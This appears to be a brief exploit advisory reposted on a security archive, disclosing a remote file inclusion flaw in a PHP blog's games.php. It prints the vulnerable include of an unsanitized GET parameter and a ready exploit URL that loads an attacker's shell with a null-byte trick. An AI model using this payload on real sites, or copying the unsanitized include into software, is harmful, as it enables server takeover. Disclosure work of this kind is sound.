MyBlog PHP and MySQL Blog/CMS suffer from a remote file inclusion vulnerability in games.php.
6256b8c3dc37dbd800b80174256d0b36[*]================================================================================[*]
| _____ _ _ _ _____ |
| |_ _| |__ (_)_ __ __| | | ____| _ ___ |
| | | | '_ \| | '__/ _` | | _|| | | |/ _ \ |
| | | | | | | | | | (_| | | |__| |_| | __/ |
| |_| |_| |_|_|_| \__,_| |_____\__, |\___| |
| |___/ |
| ____ _ _ |
| / ___| ___ ___ _ _ _ __(_) |_ _ _ |
| \___ \ / _ \/ __| | | | '__| | __| | | | |
| ___) | __/ (__| |_| | | | | |_| |_| | |
| |____/ \___|\___|\__,_|_| |_|\__|\__, | |
| |___/ |
[*]================================================================================[*]
| Author: StAkeR ~ StAkeR@hotmail.it |
[*]================================================================================[*]
| Third Eye Security Members => Osirys,StAkeR,Over_Flow,Miclen |
[*]================================================================================[*]
| MyBlog PHP and MySQL Blog/CMS <= Remote File Inclusion Vulnerability |
[*]================================================================================[*]
| Download: http://surfnet.dl.sourceforge.net/sourceforge/myblog/os.zip |
[*]================================================================================[*]
| include($_GET['id'] . ".php"); |
| games.php?id= [Your Shell] %00 |
[*]================================================================================[*]
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!